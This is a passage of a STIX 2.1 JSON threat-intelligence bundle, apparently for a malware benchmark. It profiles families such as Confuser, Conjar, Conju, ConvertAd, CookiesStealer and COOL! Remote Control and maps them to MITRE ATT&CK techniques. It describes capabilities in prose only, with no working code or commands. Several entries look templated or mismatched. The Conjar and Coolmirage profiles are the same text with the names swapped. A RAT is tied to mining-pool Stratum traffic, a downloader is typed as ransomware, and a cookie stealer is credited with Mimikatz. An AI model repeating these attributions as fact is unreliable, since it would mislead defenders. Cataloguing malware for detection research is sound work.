      "id": "relationship--bf217be5-bfcb-5834-8114-736aaa9cd330",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37832a83-0412-537a-9a8f-286188a18203",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confucius exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary entry vector using targeted lures))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--15337402-14cf-5aac-8527-52a5e63e7868",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Confuser",
      "description": "Confuser (and its prominent open-source successor, ConfuserEx, cataloged by security vendors as HackTool:MSIL/Confuser, VirTool:MSIL/Obfuscator, and Trojan:MSIL/Confuser) is a powerful, open-source code obfuscator and software protector for Microsoft .NET (MSIL) binaries active since 2013. While originally created for legitimate software authors to protect commercial intellectual property from decompilation, ConfuserEx has become the de facto standard armor utilized by cybercriminals to cloak .NET commodity malware\u2014including AsyncRAT, QuasarRAT, RedLine Stealer, AgentTesla, and Remcos. When applied to a malicious payload, Confuser applies extreme static and dynamic evasion transformations: flattening control flow graphs to confuse disassemblers, encrypting literal strings and constants, scrambling metadata tokens and symbol names with unprintable Unicode characters, and injecting anti-debugging, anti-dumping, and anti-tampering stubs. Upon execution, the Confuser runtime stub verifies the execution environment, crashes attached analysis tools (such as dnSpy and ILSpy), and decrypts the underlying malicious payload directly into memory using dynamic assembly loading without writing unencrypted code to disk. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:MSIL/Confuser",
        "Trojan:MSIL/Confuser",
        "VirTool:MSIL/Obfuscator",
        "ConfuserEx",
        "Malware.Obfuscator.Confuser"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Confuser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/confuser"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65633c9a-9923-5f85-954f-40a09a733748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15337402-14cf-5aac-8527-52a5e63e7868",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confuser exhibits technique T1027.002 (Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17786ad2-fc62-5022-a16d-00b9f6b5775b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15337402-14cf-5aac-8527-52a5e63e7868",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confuser exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1620: Reflective Code Loading",
      "description": "MITRE ATT&CK Technique T1620 (Reflective Code Loading) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1620",
          "url": "https://attack.mitre.org/techniques/T1620/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81839d4d-8395-58e0-a7f4-56448fc67f46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15337402-14cf-5aac-8527-52a5e63e7868",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confuser exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17ac217d-614f-5637-b47d-2ede41cc3b6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15337402-14cf-5aac-8527-52a5e63e7868",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confuser exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed7cd039-cd5f-57a2-aae4-832055f94019",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15337402-14cf-5aac-8527-52a5e63e7868",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confuser exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9ef2967-6d58-596d-ae46-c3e90003b0af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Conjar",
      "description": "Trojan:Win32/Conjar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Conjar</b><br>To an end-user, a Conjar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Conjar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Conjar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Conjar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Conjar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Conjar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/conjar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43320e00-d221-5fca-ad5a-2b726ef7ba77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9ef2967-6d58-596d-ae46-c3e90003b0af",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conjar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5985b371-7983-54d7-8743-622964b65c22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9ef2967-6d58-596d-ae46-c3e90003b0af",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conjar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a54928b-a1bb-55ea-be9c-96f6d287efb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9ef2967-6d58-596d-ae46-c3e90003b0af",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conjar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2c38b74-9bfb-5949-9c05-28d10782a9d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9ef2967-6d58-596d-ae46-c3e90003b0af",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conjar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18d6c59d-17c6-5522-9a0b-98b1911b1bee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9ef2967-6d58-596d-ae46-c3e90003b0af",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conjar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3946e91-0d66-50fe-a45e-627f407e002c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Conju",
      "description": "<h3>Executive Summary</h3>\nConju is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nConju is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Conju operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Conju ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Conju receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Conju infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Conju executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Conju frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Conju",
        "Downloader.Conju",
        "Win32/Conju"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Conju",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/conju"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac3fbb33-76a9-57ca-a31a-f371eb6cdd03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3946e91-0d66-50fe-a45e-627f407e002c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conju exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca67a6f8-9c1c-5be1-a8a3-e3acd49f006f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3946e91-0d66-50fe-a45e-627f407e002c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conju exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a615c1c4-40e1-5ad1-8976-d2fa94819eb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3946e91-0d66-50fe-a45e-627f407e002c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conju exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eabb0a67-3b92-5bec-82e0-14b1231b1868",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Convertad",
      "description": "ConvertAd (classified by security vendors as Adware:Win32/ConvertAd, PUA:Win32/ConvertAd, and Win32/ConvertAd) is an aggressive adware program and browser monetization framework active since 2016. Often marketed under the guise of free audio, video, or document file format conversion software (such as 'Free MP3 Converter' or 'PDF Conversion Suite'), ConvertAd is distributed through deceptive landing pages, pay-per-install (PPI) software bundlers, and torrent networks. Upon execution, ConvertAd establishes background helper services and registers malicious extensions and browser helper objects across Chrome, Firefox, and Internet Explorer/Edge. The adware forcibly alters browser default search providers and homepages to affiliate redirect portals, hijacking user navigation to monetize query traffic. Additionally, ConvertAd injects intrusive pop-up advertisements, banner promotions, and fraudulent update notices into visited web pages while surreptitiously harvesting web search history, visited URLs, and host system identifiers to transmit to remote advertising syndicates. (Observed samples in benchmark: 96)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/ConvertAd",
        "PUA:Win32/ConvertAd",
        "Win32/ConvertAd",
        "Adware.ConvertAd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Convertad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/convertad"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce107d09-8f54-5009-ac2b-e4dbbecd119b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabb0a67-3b92-5bec-82e0-14b1231b1868",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Convertad exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd4211b1-b1e3-5176-a69c-454dc93113ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabb0a67-3b92-5bec-82e0-14b1231b1868",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Convertad exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6395a0d9-bc05-53ab-98d7-aeb4622bca9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabb0a67-3b92-5bec-82e0-14b1231b1868",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Convertad exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78663d63-e1b3-543a-a4b3-1e2b98296607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabb0a67-3b92-5bec-82e0-14b1231b1868",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Convertad exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--045d0b14-6ef2-59b1-a7ac-066f07e658b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabb0a67-3b92-5bec-82e0-14b1231b1868",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Convertad exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--faacc360-6e42-5f99-a0c8-17e99c48b059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cookiesstealer",
      "description": "<h3>Executive Summary</h3>\n\"CookiesStealer\" is a broad classification (often seen as Trojan.CookiesStealer or Spyware.CookieStealer) rather than a single, distinct malware family. It refers to highly specialized info-stealer malware engineered specifically to target and extract authentication tokens and session cookies from web browsers. By stealing these active sessions, attackers can completely bypass Multi-Factor Authentication (MFA) and seamlessly hijack a user's authenticated sessions for cloud services, email, and financial portals.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCookie stealers are frequently deployed as secondary payloads by initial access brokers (via loaders like Emotet or TrickBot) or distributed directly via spear-phishing and malicious software cracks.\n\nOnce executed, the malware focuses its capabilities on rapid, targeted extraction:\n<ul>\n<li><strong>Browser Profiling:</strong> The malware scans the local file system to locate the profile directories of all popular web browsers (Chrome, Edge, Firefox, Brave). It targets the SQLite databases where the browser stores sensitive data (e.g., `Cookies`, `Login Data`, `Web Data`).</li>\n<li><strong>Decryption and Extraction:</strong> Modern browsers encrypt stored cookies using cryptographic APIs tied to the user's Windows logon session (e.g., DPAPI). The CookieStealer executes with the victim's privileges to seamlessly call the DPAPI decryption functions (`CryptUnprotectData`), retrieving the plaintext session cookies.</li>\n<li><strong>Exfiltration:</strong> The decrypted cookies, along with browser history and saved passwords, are quickly archived into a ZIP file and exfiltrated to the attacker's C2 server, often via HTTP POST requests or Telegram bots.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA CookiesStealer infection is a catastrophic security event. The theft of session cookies (particularly \"Pass-the-Cookie\" attacks) allows an attacker to immediately access the victim's M365 environment, AWS consoles, or webmail *without* needing the password or triggering an MFA prompt, making detection via traditional identity monitoring extremely difficult.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Session Revocation:</strong> Assume total compromise of the user's digital identity. You must forcefully revoke all active tokens and sessions for the affected user across all identity providers (Azure AD, Okta, Google Workspace). Simply changing the password is insufficient, as the stolen cookies may still be valid.</li>\n<li><strong>Endpoint Isolation:</strong> Isolate the compromised host to prevent the stealer from harvesting newly generated cookies if the user logs back in.</li>\n<li><strong>Continuous Authentication Monitoring:</strong> Implement \"Continuous Access Evaluation\" (CAE) policies that can invalidate session cookies if anomalous behavior (e.g., an Impossible Travel alert triggered by the attacker using the stolen cookie from a foreign IP) is detected.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.CookiesStealer",
        "Spyware.CookieStealer",
        "PWS.Win32.Cookies"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cookiesstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cookiesstealer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68053fc3-6661-529e-a4b2-d7e30d855d0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faacc360-6e42-5f99-a0c8-17e99c48b059",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cookiesstealer exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14eedc9d-0197-5757-97e7-a0a4332b5200",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faacc360-6e42-5f99-a0c8-17e99c48b059",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cookiesstealer exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--211becc4-b81d-5c1b-942d-f025fd272488",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faacc360-6e42-5f99-a0c8-17e99c48b059",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cookiesstealer exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ca0cabb-6d52-5ea5-8d9f-af9babb80135",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faacc360-6e42-5f99-a0c8-17e99c48b059",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cookiesstealer exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--507c37a4-f7aa-53ef-89d2-d954cd078181",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cool_Remote_Control",
      "description": "COOL! Remote Control is an early-generation Remote Access Trojan (RAT) designed to grant unauthorized attackers full administrative access to compromised Windows systems. Operating on a client-server architecture, the malware consists of a server component that secretly runs on the victims machine, listening on a predefined port for incoming connections from the attackers client application. Once a connection is established, the attacker can execute a wide array of malicious actions, including remote file management (uploading, downloading, executing, and deleting files), capturing screenshots, keystroke logging, manipulating system registries, and controlling hardware peripherals such as the mouse and CD-ROM drive. Distributed primarily through social engineering tactics like phishing emails or bundled within pirated software, COOL! Remote Control exemplifies the foundational techniques of remote command and control (C2) that paved the way for modern, highly stealthy RATs. Despite its age, its feature set serves as a blueprint for understanding lateral movement and data exfiltration in early cyber attacks. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Cool RAT",
        "CoolRemote"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cool_Remote_Control",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cool_remote_control"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb71675f-e4ba-5659-9c00-171809eb2e61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c37a4-f7aa-53ef-89d2-d954cd078181",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cool_Remote_Control exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6144e63-abb4-59dd-b3f6-eb86219228de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c37a4-f7aa-53ef-89d2-d954cd078181",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cool_Remote_Control exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffc2d1ed-eff1-5901-ba1b-2368f448de15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c37a4-f7aa-53ef-89d2-d954cd078181",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cool_Remote_Control exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f6865f6-e168-559f-901d-c070747cffd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coolmirage",
      "description": "Trojan:Win32/Coolmirage is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Coolmirage</b><br>To an end-user, a Coolmirage infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Coolmirage is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Coolmirage is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Coolmirage frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Coolmirage reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
